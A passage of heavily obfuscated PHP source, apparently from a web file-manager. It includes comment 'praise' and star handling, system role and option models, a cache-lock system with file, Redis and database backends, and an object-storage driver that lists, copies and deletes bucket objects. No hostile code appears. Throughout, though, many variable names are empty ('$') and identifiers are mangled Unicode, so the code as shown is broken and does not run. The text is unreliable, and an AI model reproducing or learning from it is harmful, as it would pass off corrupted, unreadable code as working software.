$̿[$ӌ[484]]))->delete(); } $ʣ = array($ӌ[2007] => 0, $ӌ[1779] => USER_ID, $ӌ[839] => 1, $ӌ[181] => $ӌ[12], $ӌ[200] => $, $ӌ[578] => $ߘԽ, $ӌ[2010] => 0, $ӌ[2009] => 0); return $this->add($ʣ); } public function starTargetCount($, $) { $ت =& $_SERVER[]; $׽ = $ + self::TYPE_STAR_OFFSET; $逎 = $this->commentCount($, $׽); $ = $this->commentCount($, $׽, USER_ID); return array($ت[2012] => $逎, $ت[2013] => $); } public function starTargetUserList($̒, $) { $ږ =& $_SERVER[]; $ = $̒ + self::TYPE_STAR_OFFSET; $Ŧ͍ = array($ږ[578] => $, $ږ[200] => $); $ = $this->where($Ŧ͍)->count(); $ = array($ږ[341] => $, $ږ[2014] => array()); if (!$) { return $; } $ = $this->field($ږ[1779])->where($Ŧ͍)->limit(500)->select(); $ = array_to_keyvalue($, $ږ[12], $ږ[1779]); $[$ږ[2014]] = Model($ږ[586])->userListInfo($); return $; } public function prasiseUserList($) { $ں =& $_SERVER[]; $ڕ = array($ں[2015] => $); $ = $this->where($ڕ)->find(); $ = _get($, $ں[2010], 0); $ = array($ں[341] => $, $ں[2014] => array()); if (!$) { return $; } $ʸ = Model($ں[2016])->field($ں[1779])->where($ڕ)->limit(500)->select(); $ʸ = array_to_keyvalue($ʸ, $ں[12], $ں[1779]); $[$ں[2014]] = Model($ں[586])->userListInfo($ʸ); return $; } public function remove($޵) { $۽ =& $_SERVER[]; $ډۘ = array($۽[2008] => $޵); $䘷 = $this->where($ډۘ)->find(); if ($䘷[$۽[2007]]) { $this->where(array($۽[2008] => $䘷[$۽[2007]]))->setAdd($۽[2009], -1); } return $this->where($ډۘ)->delete(); } public function edit($Иߓ, $ꏸ) { $ =& $_SERVER[]; $ = array($[2008] => $Иߓ); return $this->where($)->save(array($[2017] => $ꏸ)); } public function prasise($Ⱦ) { $ =& $_SERVER[]; $恗 = Model($[2018]); $ = array($[2008] => $Ⱦ, $[1770] => USER_ID); $ק = $恗->where($)->find(); if (!$ק) { $恗->add($); $ƚ = $this->where(array($[2008] => $Ⱦ))->setAdd($[2010], 1); } else { $恗->where($)->delete(); $ƚ = $this->where(array($[2008] => $Ⱦ))->setAdd($[2010], -1); } return $ƚ; } public function targetInfo($ﲟ, $꥿) { $٨ =& $_SERVER[]; $ֽ = array($٨[657] => $ﲟ, $٨[658] => $꥿); $ = $this->where($ֽ)->count(); $Ǫ = "\122\111\x47\110\x54\x20\x4a\117\111\116\x20{$this->tablePrefix}\x63\x6f\155\x6d\x65\156\164\x5f\160\x72\x61\151\x73\x65\40\x73\164\x61\162\x20\x6f\x6e\40\143\x6f\155\155\x65\156\x74\x2e\143\157\155\x6d\145\156\x74\111\x44\40\x3d\x20\163\164\x61\x72\x2e\x63\157\155\x6d\x65\x6e\x74\111\104"; $ = $this->alias($٨[439])->where($ֽ)->join($Ǫ, $٨[2019])->count(); $ӛ = array($٨[2020] => $, $٨[2021] => $); return $ӛ; } public function listData($Ä) { $Ζ =& $_SERVER[]; if (isset($Ä[$Ζ[2022]])) { if ($Ä[$Ζ[2022]]) { $Ä[$Ζ[2015]] = array($Ζ[1103], intval($Ä[$Ζ[2022]])); } unset($Ä[$Ζ[2022]]); } if (isset($Ä[$Ζ[2023]])) { if ($Ä[$Ζ[2023]]) { $Ä[$Ζ[2015]] = array($Ζ[1100], intval($Ä[$Ζ[2023]])); } unset($Ä[$Ζ[2023]]); } return $this->_listData($Ä); } private function _listData($ν) { $ =& $_SERVER[]; $߂ = $this->where($ν)->_makeOrder()->selectPage(100); $this->_listAppendParent($߂[$[454]]); $this->_listAppendUser($߂[$[454]]); $this->_listAppendMeta($߂[$[454]]); return $߂; } private function _makeOrder() { $וNj =& $_SERVER[]; $և = array($וNj[2010], $וNj[2009], $וNj[241]); $촉 = Input::get($וNj[539], $וNj[7], $וNj[506], $և); $ = Input::get($וNj[540], $וNj[7], $וNj[1772], array($וNj[2024], $וNj[535])); $ʞ = $촉 . $וNj[53] . $; return $this->order($ʞ); } private function _listAppendParent(&$) { $⻻ =& $_SERVER[]; $п = array_unique(array_to_keyvalue($, $⻻[12], $⻻[2007])); $п = array_remove_value($п, $⻻[238]); if (!$п) { return; } $ߌ = $this->where(array($⻻[2008] => array($⻻[7], $п)))->select(); $ߌ = array_to_keyvalue($ߌ, $⻻[2015]); foreach ($ as &$㔟) { if (isset($ߌ[$㔟[$⻻[2007]]])) { $㔟[$⻻[2025]] = $ߌ[$㔟[$⻻[2007]]]; } } unset($㔟); } private function _listAppendUser(&$̞) { $ =& $_SERVER[]; $ɉ = array_unique(array_to_keyvalue($̞, $[12], $[1779])); $ɉ = array_remove_value($ɉ, $[238]); if (count($ɉ) == 0) { return; } foreach ($̞ as $) { if (isset($[$[2025]])) { $ɉ[] = $[$[2025]][$[1779]]; } } $Ғ = Model($[607])->userListInfo($ɉ); foreach ($̞ as &$) { $[$[671]] = $Ғ[$[$[1779]]]; if (isset($[$[2025]])) { $[$[2025]][$[671]] = $Ғ[$[$[2025]][$[1779]]]; } } unset($); } private function _listAppendMeta(&$) { $ =& $_SERVER[]; $Ч = array_unique(array_to_keyvalue($, $[12], $[2015])); $Ч = array_remove_value($Ч, $[238]); if (!$Ч) { return; } foreach ($ as $) { if (isset($[$[2025]])) { $Ч[] = $[$[2025]][$[2015]]; } } $ܻ = $this->metaList($Ч); if (!$ܻ) { return !1; } foreach ($ as &$) { $[$[548]] = $ܻ[$[$[2015]]]; if (isset($[$[2025]])) { $[$[2025]][$[548]] = $ܻ[$[$[2025]][$[2015]]]; } } unset($); } private function metaList($̀ㅎ) { $ =& $_SERVER[]; if (!$̀ㅎ) { return array(); } $ = array($[2015] => array($[7], $̀ㅎ)); $ڏ = Model($[2026])->where($)->select(); $ڏ = array_to_keyvalue_group($ڏ, $[2015]); foreach ($ڏ as $▥ => $̺) { $ˮ = array(); foreach ($̺ as $ۉ) { $ˮ[$ۉ[$[107]]] = $ۉ[$[459]]; } $ڏ[$▥] = $ˮ; } return $ڏ ? $ڏ : array(); } public function removeTarget($, $) { $ʒ =& $_SERVER[]; if (!$) { return !0; } $ = is_array($) ? $ : array($); $ = array($ʒ[200] => $, $ʒ[578] => array($ʒ[7], $)); $؅ = $this->field($ʒ[2015])->where($)->select(); $ҙ = array_to_keyvalue($؅, $ʒ[12], $ʒ[2015]); if (!$ҙ) { return !0; } $ = array($ʒ[2015] => array($ʒ[7], $ҙ)); $this->where($)->delete(); Model($ʒ[2018])->where($)->delete(); Model($ʒ[2027])->where($)->delete(); } } goto cńLJ; E֝ߦԄ: class SystemOptionModel extends ModelBaseOption { protected $tableName = "\x73\171\163\x74\145\155\x5f\x6f\160\164\151\157\156"; protected $jsonField = array("\155\x65\x6e\165", "\162\157\x6c\145", "\162\157\x6c\x65\107\162\157\165\x70", "\162\x65\x67\x69\163\x74", "\145\155\141\151\154"); function __construct() { parent::__construct(); } protected function cacheKey($֨) { return "\x53\x79\163\x74\145\155\117\x70\164\x69\x6f\x6e\x5f{$֨}"; } protected function optionDefault($ = '') { $ܗ =& $_SERVER[]; if ($ == $ܗ[12]) { return $GLOBALS[$ܗ[6]][$ܗ[466]]; } } } class SystemRecordModel extends ModelBaseLight { } class SystemRoleModel extends ModelBaseLight { public $optionType = "\123\x79\163\164\x65\155\56\x72\157\154\145\x4c\151\x73\164"; public $field = array("\x6e\141\155\x65", "\x61\165\164\x68", "\x6c\x61\x62\145\154", "\144\151\x73\x70\x6c\x61\171", "\x73\171\163\164\145\155", "\144\x65\x73\143", "\151\147\x6e\157\x72\x65\x45\170\x74", "\151\147\156\157\x72\x65\x46\151\154\145\x53\151\x7a\x65", "\x61\x64\155\151\x6e\151\x73\164\x72\x61\x74\157\x72", "\x73\157\x72\x74"); public function listData($外 = false, $ = "\163\157\x72\x74", $ = false) { $ܬ =& $_SERVER[]; $Ή㏏ = parent::listData($外, $, $); if (!$外) { foreach ($Ή㏏ as $تƳ => $ۈ) { if ($ۈ[$ܬ[2185]] == 1) { $Ή㏏[$تƳ][$ܬ[535]] = LNG($ܬ[2446]); } } } return $Ή㏏; } public function update($Ѡ, $) { $ =& $_SERVER[]; $ߣ = parent::listData($Ѡ); $脊 = $this->findByName($[$[32]]); if (!$ߣ || $脊 && $脊[$[484]] != $ߣ[$[484]]) { return !1; } if ($脊[$[2185]] == 1) { $ = array($[32] => $[$[32]], $[2001] => $[$[2001]]); } $this->filterAuth($[$[496]]); return parent::update($Ѡ, $); } public function remove($) { $ĨӶ = parent::listData($); if (!$ĨӶ || $ĨӶ[$_SERVER[][201]]) { return !1; } return parent::remove($); } public function add($۠շ) { $ە۷ =& $_SERVER[]; $č = $۠շ[$ە۷[32]]; if ($this->findByName($č)) { return !1; } $ = array($ە۷[503] => $č, $ە۷[1984] => $ە۷[12], $ە۷[1980] => $ە۷[1988], $ە۷[2447] => 1, $ە۷[1983] => 0, $ە۷[2448] => 0, $ە۷[1982] => $this->getSort()); $۠շ = array_merge($, $۠շ); $this->filterAuth($۠շ[$ە۷[496]]); return parent::insert($۠շ); } private function getSort() { $ =& $_SERVER[]; $ʢ = parent::listData(); $ = array_to_keyvalue($ʢ, $[12], $[2002]); return empty($) ? 0 : max($) + 1; } private function filterAuth(&$Ȼ) { $ǯѢ =& $_SERVER[]; $Կ = array(); $㖶 = array_filter(explode($ǯѢ[50], $Ȼ)); foreach ($㖶 as $Ȼ) { $Ê = explode($ǯѢ[10], $Ȼ); if ($Ê[0] == $ǯѢ[2449] && $Ê[1] != $ǯѢ[1286]) { $ = $Ê[0] . $ǯѢ[10] . $Ê[1] . $ǯѢ[2450]; if (!in_array($, $㖶)) { $Կ[] = $; } } $Կ[] = $Ȼ; } $Ȼ = implode($ǯѢ[50], $Կ); } public function findRoleDefault() { $ =& $_SERVER[]; $菿 = parent::listData(); $̜ = !1; foreach ($菿 as $υ) { if (!$υ || $υ[$[2000]] == $[238] || $υ[$[2185]] == 1) { continue; } if (strstr($υ[$[496]], $[2451])) { continue; } if (!strstr($υ[$[496]], $[2452])) { continue; } if (!$̜) { $̜ = $υ; continue; } $剀 = explode($[50], $̜[$[496]]); $ = explode($[50], $υ[$[496]]); if (count($剀) > count($)) { $̜ = $υ; } } return $̜ ? $̜[$[484]] : $[12]; } public function sort($怵, $) { return parent::update($怵, $); } } goto c; BŠ: class CacheLock { protected static $handle; protected static $timeout; protected static $errorMsg = ''; protected static $lockItem = array(); public static function init() { $巬 =& $_SERVER[]; if (self::$handle) { return self::$handle; } $ﰓ = $GLOBALS[$巬[6]][$巬[434]]; self::$timeout = $ﰓ[$巬[930]] ? $ﰓ[$巬[930]] : 10; $ = _get($GLOBALS[$巬[6]], $巬[931]); $ґ = $ﰓ[$巬[916]] ? $ﰓ[$巬[916]] : $巬[240]; if ($ґ == $巬[21] && $ == $巬[13]) { $ґ = $巬[240]; } switch ($ґ) { case $巬[919]: self::$handle = new CacheLockRedis(); break; case $巬[920]: self::$handle = new CacheLockMemcached(); break; case $巬[21]: self::$handle = new CacheLockDatabase(); break; case $巬[240]: self::$handle = new CacheLockFile(); break; default: break; } if (GLOBAL_DEBUG_LOG_ALL) { write_log($巬[932], $巬[933]); } return self::$handle; } private static function key($ޝ) { return $_SERVER[][934] . Cache::key($ޝ); } public static function initReset() { self::$handle = !1; } public static function setErrorMsg($ = '') { self::$errorMsg = $; } public static function lockGlobal($Ԫ, $) { return self::lock($Ԫ, $, !0); } public static function lock($, $ = false, $ = false) { $ =& $_SERVER[]; $ү̔ = self::init(); $ፆ = self::key($); $ = $ ? $ : self::$timeout; $Ǘ = timeFloat(); $Բ = $ү̔->lock($ፆ, $); $ = timeFloat(); if (!$Բ) { $צ = "\x6c\157\x63\x6b\40\x65\x72\162\157\162\x3b\153\x65\x79\75{$}\x3b\x74\151\x6d\x65\x3d{$}\x3b" . self::$errorMsg . $[84] . get_caller_msg(); $ջ = LNG($[935]) . "\x28{$}\x73\x29\56" . LNG($[936]); $ջ .= $[937]; if (is_string(self::$errorMsg) && self::$errorMsg) { $ջ = $ջ . $[938] . self::$errorMsg; } write_log($[939] . sprintf($[940], timeFloat() - $Ǘ) . $[941] . $צ . $[942] . error_get_last(), $[933]); show_json($ջ, !1); } if (!$) { self::$lockItem[$ፆ] = !0; } if (GLOBAL_DEBUG_LOG_ALL) { $ = number_format(timeFloat() - $, 3); write_log($[943] . $ . $[944] . $, $[933]); } return $Բ; } public static function lockGet($ܢ) { $ = self::key($ܢ); if (self::$lockItem[$]) { return self::$lockItem[$]; } return self::init()->lockGet($); } public static function unlock($ۗ) { $ =& $_SERVER[]; $ = self::key($ۗ); self::$lockItem[$] = null; self::init()->unlock($); if (GLOBAL_DEBUG_LOG_ALL) { write_log($[945] . $ۗ, $[933]); } return; } public static function unlockRuntime() { $ =& $_SERVER[]; $旕 = self::init(); $ = !1; foreach (self::$lockItem as $ʴ => $ӷ) { if (!$ӷ) { continue; } $旕->unlock($ʴ); if (!$) { $ = !0; write_log($[946] . $ʴ . $[84] . get_caller_msg(), $[933]); continue; } write_log($[946] . $ʴ, $[933]); } self::fileUnlockAll(); if (GLOBAL_DEBUG_LOG_ALL) { $΄ߕ = number_format(timeFloat() - TIME_FLOAT, 3); write_log($[947] . $΄ߕ . $[948] . ACTION, $[933]); } } public static function fileLock($「) { $ =& $_SERVER[]; if (!$GLOBALS[$[949]]) { $GLOBALS[$[949]] = array(); } $GLOBALS[$[949]][$「] = !1; $ө㧉 = fopen(DATA_PATH . $「 . $[950], $[951]); if (!$ө㧉) { return !1; } $GLOBALS[$[949]][$「] = $ө㧉; if (flock($ө㧉, LOCK_EX)) { return !0; } self::unlock($「); show_json($[952], !1); return !1; } public static function fileUnlock($ܷ) { $ =& $_SERVER[]; $ = $GLOBALS[$[949]][$ܷ]; if (!$) { return; } $GLOBALS[$[949]][$ܷ] = !1; flock($, LOCK_UN); fclose($); } public static function fileUnlockAll() { $ =& $_SERVER[]; if (!isset($GLOBALS[$[949]]) || !$GLOBALS[$[949]]) { return; } foreach ($GLOBALS[$[949]] as $ => $Օ鱢) { if (!$Օ鱢) { continue; } $GLOBALS[$[949]][$] = !1; flock($Օ鱢, LOCK_UN); fclose($Օ鱢); } $GLOBALS[$[949]] = array(); } } function cacheLockWait() { usleep(mt_rand(200, 5000)); } class CacheLockFile { private static $cachePath; private static $caches; public function __construct() { $˴ =& $_SERVER[]; $Π = $GLOBALS[$˴[6]][$˴[434]]; self::$cachePath = $Π[$˴[240]][$˴[97]]; @mkdir(self::$cachePath, DEFAULT_PERRMISSIONS, !0); } public function lock($, $ = 0) { $ױ =& $_SERVER[]; $ı = microtime(!0); $͛ = $ı + $ + 0.0001; $ = rtrim(self::$cachePath, $ױ[8]) . $ױ[953] . md5($) . $ױ[950]; if (file_exists($) && filemtime($) && filemtime($) < time() - 10) { @unlink($); } do { if (file_exists($)) { cacheLockWait(); continue; } $ = fopen($, $ױ[954]); if (!$) { return !1; } $ = flock($, LOCK_EX | LOCK_NB); self::$caches[$] = array($ױ[955] => $, $ױ[240] => $); fwrite($, $͛); clearstatcache(); if ($ && $) { return !0; } cacheLockWait(); } while (microtime(!0) < $͛); $this->unlock($); return !1; } public function lockGet($䥏) { $ހ =& $_SERVER[]; $ܗР = rtrim(self::$cachePath, $ހ[8]) . $ހ[953] . md5($䥏) . $ހ[950]; return file_exists($ܗР); } public function unlock($) { $ =& $_SERVER[]; $ = self::$caches[$]; if (!$) { return; } @flock($[$[955]], LOCK_UN); @fclose($[$[955]]); @unlink($[$[240]]); unset(self::$caches[$]); } } goto Fٟ; a: class PathDriverOOS extends PathDriverBaseS3 { public function __construct($ʶ) { parent::__construct($ʶ); $this->setSignVersion($_SERVER[][257]); } public function fileOutLink($) { $鲨 =& $_SERVER[]; if (substr($, 0, 7) == $鲨[322]) { $ = $鲨[323] . substr($, 7); } header($鲨[185] . $); die; } } class PathDriverOSS extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $bucket = ''; protected $bucketAcl = ''; protected $endpoint = null; protected $client = null; public $ioUploadServer = "\x30"; public $ioFileOutServer = "\x30"; public $cdnHost = ''; public $config = array(); public function __construct($৆) { parent::__construct(); include_once SDK_DIR . $_SERVER[][1471]; $this->_init($৆); } public function _init($) { $ń =& $_SERVER[]; $this->config = $; foreach ($ as $Ո => $ɤ) { if (isset($this->{$Ո})) { $this->{$Ո} = $ɤ; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exception($ń[1472] . LNG($ń[1473])); } $this->client = new OSS\OssClient($this->accessKey, $this->secret, $this->domain); $this->client->setConnectTimeout(60); } public function setBucketCors() { $ =& $_SERVER[]; $ܩ = new OSS\Model\CorsConfig(); $ḱ = new OSS\Model\CorsRule(); $ḱ->addAllowedOrigin($[1474]); $ḱ->addAllowedMethod($[1475]); $ḱ->addAllowedMethod($[1476]); $ḱ->addAllowedMethod($[1477]); $ḱ->addAllowedMethod($[1478]); $ḱ->addAllowedMethod($[175]); $ḱ->setMaxAgeSeconds(600); $ḱ->addExposeHeader($[1479]); $ḱ->addAllowedHeader($[1474]); $ܩ->addRule($ḱ); try { $this->client->putBucketCors($this->bucket, $ܩ); } catch (OSS\Core\OssException $DZ) { $this->writeLog(__FUNCTION__ . $[224] . $DZ->getMessage()); return !1; } return !0; } public function getBucketCors() { $é =& $_SERVER[]; $ã = null; try { $ã = $this->client->getBucketCors($this->bucket); } catch (OSS\Core\OssException $׀ڗ) { $this->writeLog(__FUNCTION__ . $é[224] . $׀ڗ->getMessage()); return null; } if (!$ã || !($ވ = $ã->getRules())) { return null; } $׻ = $ވ[0]->getAllowedOrigins(); $憗 = $ވ[0]->getAllowedMethods(); $뙚 = $ވ[0]->getMaxAgeSeconds(); $ = $ވ[0]->getExposeHeaders(); $ = $ވ[0]->getAllowedHeaders(); return array($é[228] => isset($׻[0]) ? $׻[0] : $é[12], $é[232] => $憗, $é[1480] => $뙚, $é[1481] => isset($[0]) ? $[0] : $é[12], $é[229] => isset($[0]) ? $[0] : $é[12]); } public function isBucketCors() { $Ł =& $_SERVER[]; $ = $this->getBucketCors(); if (!$ || !is_array($)) { return !1; } if ($[$Ł[228]] != $Ł[230] || $[$Ł[229]] != $Ł[230]) { return !1; } $ӈ = array_map($Ł[231], $[$Ł[232]]); if (!is_array($ӈ)) { $ӈ = array(); } $ = array($Ł[233], $Ł[234], $Ł[235], $Ł[236], $Ł[237]); $Մ = array_diff($, $ӈ); return empty($Մ); } public function mkfile($νф, $ɶ = '', $ = REPEAT_RENAME) { $̹ = $this->setContent($νф, $ɶ); if ($̹ !== !1) { return $this->getPathOuter($νф); } return !1; } public function mkdir($ד, $ = REPEAT_SKIP) { if ($ && $this->_isFolder($ד)) { return $this->getPathOuter($ד); } try { $this->client->createObjectDir($this->bucket, $this->pathEncode($ד)); } catch (OSS\Core\OssException $Է) { $this->writeLog(__FUNCTION__ . $_SERVER[][224] . $Է->getMessage()); return !1; } return $this->getPathOuter($ד); } private function fileList($, $Ӑ = '', $ = 0) { $ӿ =& $_SERVER[]; $ = trim($, $ӿ[8]); $ = empty($) && $ !== $ӿ[238] ? $ӿ[12] : $ . $ӿ[8]; $ = $ӿ[12]; $ƃ = 1000; $ = $ŝ = array(); while (!0) { check_abort(); $ͬϭ = array($ӿ[1482] => $Ӑ, $ӿ[1483] => $, $ӿ[1484] => $ƃ, $ӿ[1485] => $); try { $ = $this->client->listObjects($this->bucket, $ͬϭ); } catch (OSS\Core\OssException $و޵) { $this->writeLog(__FUNCTION__ . $ӿ[224] . $و޵->getMessage()); break; } $ = $->getNextMarker(); $֌ = $->getObjectList(); $ט = $->getPrefixList(); foreach ($֌ as $Ė) { if ($Ė->getKey() == $) { continue; } $䰃 = $Ė->getKey(); $ = $Ė->getSize(); $ĺ = $Ė->getLastModified(); $ֳ = trim($Ė->getETag(), $ӿ[131]); $ӭ궴 = $ ? array($ӿ[32] => $䰃, $ӿ[89] => $, $ӿ[216] => strtotime($ĺ), $ӿ[1486] => $ֳ) : $䰃; $Η = $ == 0 && substr($䰃, strlen($䰃) - 1, 1) == $ӿ[8] ? !0 : !1; $ = array($ӿ[89] => $, $ӿ[1487] => $, $ӿ[98] => strtotime($ĺ), $ӿ[1488] => $ĺ, $ӿ[1486] => $ֳ); $this->cacheMethodInfoSet($䰃, $Η, $); if ($Η) { $[] = $䰃; continue; } $ŝ[] = $ӭ궴; } foreach ($ט as $Ϯ) { $[] = $Ϯ->getPrefix(); $this->cacheMethodInfoSet($Ϯ->getPrefix(), !0); } if ($ === $ӿ[12]) { break; } } $this->cacheMethodInfoSet($, !0); return array($ӿ[95] => $, $ӿ[96] => $ŝ); } public function listObject($ݔ, $ʘ = '') { $Ë̸ =& $_SERVER[]; $ݔ = trim($ݔ, $Ë̸[8]); $ = empty($ݔ) && $ݔ !== $Ë̸[238] ? $Ë̸[12] : $ݔ . $Ë̸[8]; $Ǥ懼 = $Ë̸[12]; $հ = 1000; $ٟ = $ = array(); while (!0) { check_abort(); $ = array($Ë̸[1482] => $ʘ, $Ë̸[1483] => $, $Ë̸[1484] => $հ, $Ë̸[1485] => $Ǥ懼); try { $ = $this->client->listObjects($this->bucket, $); } catch (OSS\Core\OssException $ϩҎ) { $this->writeLog(__FUNCTION__ . $Ë̸[224] . $ϩҎ->getMessage()); break; } $Ǥ懼 = $->getNextMarker(); $Ӕ = $->getObjectList(); foreach ($Ӕ as $ȼ) { if ($ȼ->getKey() == $) { continue; } $ꘪ = $ȼ->getKey(); $ޟ = $ȼ->getSize(); $܎ = $ޟ == 0 && substr($ꘪ, strlen($ꘪ) - 1, 1) == $Ë̸[8] ? !0 : !1; if ($܎) { continue; } (yield $ޟ . $Ë̸[224] . $ꘪ); } if ($Ǥ懼 === $Ë̸[12]) { break; } } } public function copyFile($ԑ, $םݬ) { $ = $this->size($ԑ); if ($ < 1024 * 1024 * 1024) { try { $this->client->copyObject($this->bucket, $ԑ, $this->bucket, $this->pathEncode($םݬ)); } catch (OSS\Core\OssException $ݩ) { $this->writeLog(__FUNCTION__ . $_SERVER[][224] . $ݩ->getMessage()); return !1; } return $this->getPathOuter($םݬ); } $ = $this->multiCopyObject($ԑ, $םݬ, $); return $ ? $this->getPathOuter($םݬ) : !1; } private function multiCopyObject($, $ޢ, $Α஦) { $֒ =& $_SERVER[]; try { $с = array(); if ($ = $this->hashMd5($)) { $с = array(OSS\OssClient::OSS_HEADERS => array($֒[1489] => $)); } $ = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($ޢ), $с); $ = 1; $ = 0; $¤ = array(); $¼ = 1024 * 1024 * 10; $Ѷ = $this->client->generateMultiuploadParts($Α஦, $¼); foreach ($Ѷ as $ї => $ࡄ) { $ԫȝԑ = $ + (int) $ࡄ[$֒[1490]]; $򨵂 = (int) $ࡄ[$֒[422]] + $ԫȝԑ - 1; $Ȅ = array($֒[177] => $ԫȝԑ, $֒[178] => $򨵂); $¤[] = $this->client->uploadPartCopy($this->bucket, $, $this->bucket, $this->pathEncode($ޢ), $, $, $Ȅ); $ = $ + 1; } $ = array(); foreach ($¤ as $ї => $ِ) { $[] = array($֒[317] => $ї + 1, $֒[318] => $ِ); } $this->client->completeMultipartUpload($this->bucket, $this->pathEncode($ޢ), $, $); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $֒[224] . $->getMessage()); return !1; } return !0; } public function moveFile($, $) { if ($this->copyFile($, $)) { $this->remove($); return $this->getPathOuter($); } return !1; } public function delFile($) { try { $this->client->deleteObject($this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $_SERVER[][224] . $->getMessage()); return !1; } return !0; } public function delFolder($뉤ȸ) { $ =& $_SERVER[]; if (!$this->exist($뉤ȸ)) { return !0; } $this->listItemCache = !1; $ = $this->fileList($뉤ȸ); $this->listItemCache = !0; $ = trim($뉤ȸ, $[8]) . $[8]; if (!empty($뉤ȸ) && $뉤ȸ !== $[238] && !in_array($, $[$[95]])) { $[$[95]][] = $; } $ = $this->delByBatch($[$[96]]); if (!$) { return !1; } $ = $this->delByBatch($[$[95]]); if (!$) { return !1; } return $this->delFile($); } private function delByBatch($) { foreach (array_chunk($, 1000) as $) { try { $this->client->deleteObjects($this->bucket, $); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $_SERVER[][224] . $->getMessage()); return !1; } } return !0; } public function rename($ː, $) { return $this->renameObject($ː, $); } private function fileInfo($߽, $ = false, $ = array()) { $ݜЛ =& $_SERVER[]; $썗 = array($ݜЛ[32] => $this->pathThis($߽), $ݜЛ[97] => $this->getPathOuter($߽), $ݜЛ[33] => $ݜЛ[240], $ݜЛ[89] => isset($[$ݜЛ[89]]) ? $[$ݜЛ[89]] : 0, $ݜЛ[179] => $this->ext($߽)); if ($) { return $썗; } $썗[$ݜЛ[241]] = $썗[$ݜЛ[98]] = 0; $썗[$ݜЛ[242]] = $썗[$ݜЛ[243]] = !0; if (empty($)) { $֎ = $this->objectMeta($߽); if (!$֎) { return $썗; } $ = array($ݜЛ[98] => strtotime($֎[$ݜЛ[1488]]), $ݜЛ[89] => $֎[$ݜЛ[1487]] + 0, $ݜЛ[1486] => $֎[$ݜЛ[1486]]); } if (isset($[$ݜЛ[1486]]) && $[$ݜЛ[1486]]) { $썗[$ݜЛ[245]] = trim($[$ݜЛ[1486]], $ݜЛ[131]); } if (isset($[$ݜЛ[89]])) { $썗[$ݜЛ[89]] = $[$ݜЛ[89]]; } if (isset($[$ݜЛ[98]])) { $썗[$ݜЛ[98]] = $[$ݜЛ[98]]; } if (isset($[$ݜЛ[216]]) && !trim($썗[$ݜЛ[98]])) { $썗[$ݜЛ[98]] = $[$ݜЛ[216]]; } return $썗; } private function folderInfo($ʥ, $駦Ț = false, $ = array()) { $͂܍ =& $_SERVER[]; $⟿ = array($͂܍[32] => $this->pathThis($ʥ), $͂܍[97] => $this->getPathOuter($͂܍[8] . $ʥ), $͂܍[33] => $͂܍[88]); if ($駦Ț) { return $⟿; } $⟿[$͂܍[241]] = $⟿[$͂܍[98]] = 0; $⟿[$͂܍[242]] = $⟿[$͂܍[243]] = !0; if (empty($)) { $ʥ = rtrim($ʥ, $͂܍[8]) . $͂܍[8]; $҉ = $this->objectMeta($ʥ); if (!$҉) { return $⟿; } $ = array($͂܍[241] => $҉[$͂܍[584]][$͂܍[1491]], $͂܍[98] => strtotime($҉[$͂܍[1488]])); } if (isset($[$͂܍[98]])) { $⟿[$͂܍[98]] = $[$͂܍[98]]; } if (isset($[$͂܍[241]])) { $⟿[$͂܍[241]] = $[$͂܍[241]]; } return $⟿; } public function listPath($֏, $ = false) { $ȣ =& $_SERVER[]; $ = $this->fileList($֏, $ȣ[8], !0); foreach ($[$ȣ[95]] as $ => $忪) { $[$ȣ[95]][$] = $this->folderInfo($忪, $, $忪); } foreach ($[$ȣ[96]] as $ => $忪) { $[$ȣ[96]][$] = $this->fileInfo($忪[$ȣ[32]], $, $忪); } return $; } protected function infoChildren($Ҭ, &$ڌ) { $ =& $_SERVER[]; $섓 = $this->fileList($Ҭ, $[12], !0); $ڌ[$[91]] += count($섓[$[95]]); $ڌ[$[90]] += count($섓[$[96]]); foreach ($섓[$[96]] as $) { if (!$ || !$[$[89]]) { continue; } $ڌ[$[89]] += $[$[89]]; } } public function has($, $éɹ = false, $ = true) { $Ɍя =& $_SERVER[]; $ = trim($, $Ɍя[8]); $藙 = empty($) && $ !== $Ɍя[238] ? $Ɍя[12] : $ . $Ɍя[8]; $ӧ = $Ɍя[12]; $ = 500; $ = $ = 0; while (!0) { check_abort(); $łϘ = array($Ɍя[1482] => $Ɍя[8], $Ɍя[1483] => $藙, $Ɍя[1484] => $, $Ɍя[1485] => $ӧ); try { $ؗ = $this->client->listObjects($this->bucket, $łϘ); } catch (OSS\Core\OssException $羕Â) { $this->writeLog(__FUNCTION__ . $Ɍя[224] . $羕Â->getMessage()); break; } $ӧ = $ؗ->getNextMarker(); $ = $ؗ->getObjectList(); $ = $ؗ->getPrefixList(); if ($éɹ) { if (count($) > 1 || count($) == 1 && $[0]->getKey() != $藙) { $ += count($) - 1; } if (!empty($)) { $ += count($); } if ($ӧ === $Ɍя[12]) { break; } continue; } if ($) { if (!empty($)) { if (count($) > 1 || $[0]->getKey() != $藙) { return !0; } } } else { if (!empty($)) { return !0; } } if ($ӧ === $Ɍя[12]) { break; } } if ($éɹ) { return array($Ɍя[249] => $, $Ɍя[250] => $); } return !1; } public function listAll($⿥) { $ժʶ =& $_SERVER[]; $ = $this->fileList($⿥, $ժʶ[12], !0); $抿܏ = array_to_keyvalue($[$ժʶ[96]], $ժʶ[32]); foreach ($[$ժʶ[95]] as $Ä) { if (is_string($Ä)) { $抿܏[$Ä] = array($ժʶ[89] => 0); } } return $this->listAllFiles($⿥, $抿܏); } public function canRead($ߋ) { $ =& $_SERVER[]; $ľƂ = $this->pathAcl($ߋ); return $ľƂ == $[1492] || $ľƂ == $[628] ? !0 : !1; } public function canWrite($) { $ = $this->pathAcl($); return $ == $_SERVER[][628] ? !0 : !1; } public function pathAcl($) { $꘾ =& $_SERVER[]; if (empty($this->bucketAcl)) { $this->bucketAcl = $this->client->getBucketAcl($this->bucket); } try { $ = $this->client->getObjectAcl($this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $Ҩ) { $this->writeLog(__FUNCTION__ . $꘾[224] . $Ҩ->getMessage()); return !1; } $ӡ = $ == $꘾[37] ? $this->bucketAcl : $; if ($ӡ == $꘾[1493]) { return $꘾[1492]; } if ($ӡ == $꘾[1494]) { return $꘾[628]; } return $ӡ; } private function chmodPath($, $ = '') { $迦 =& 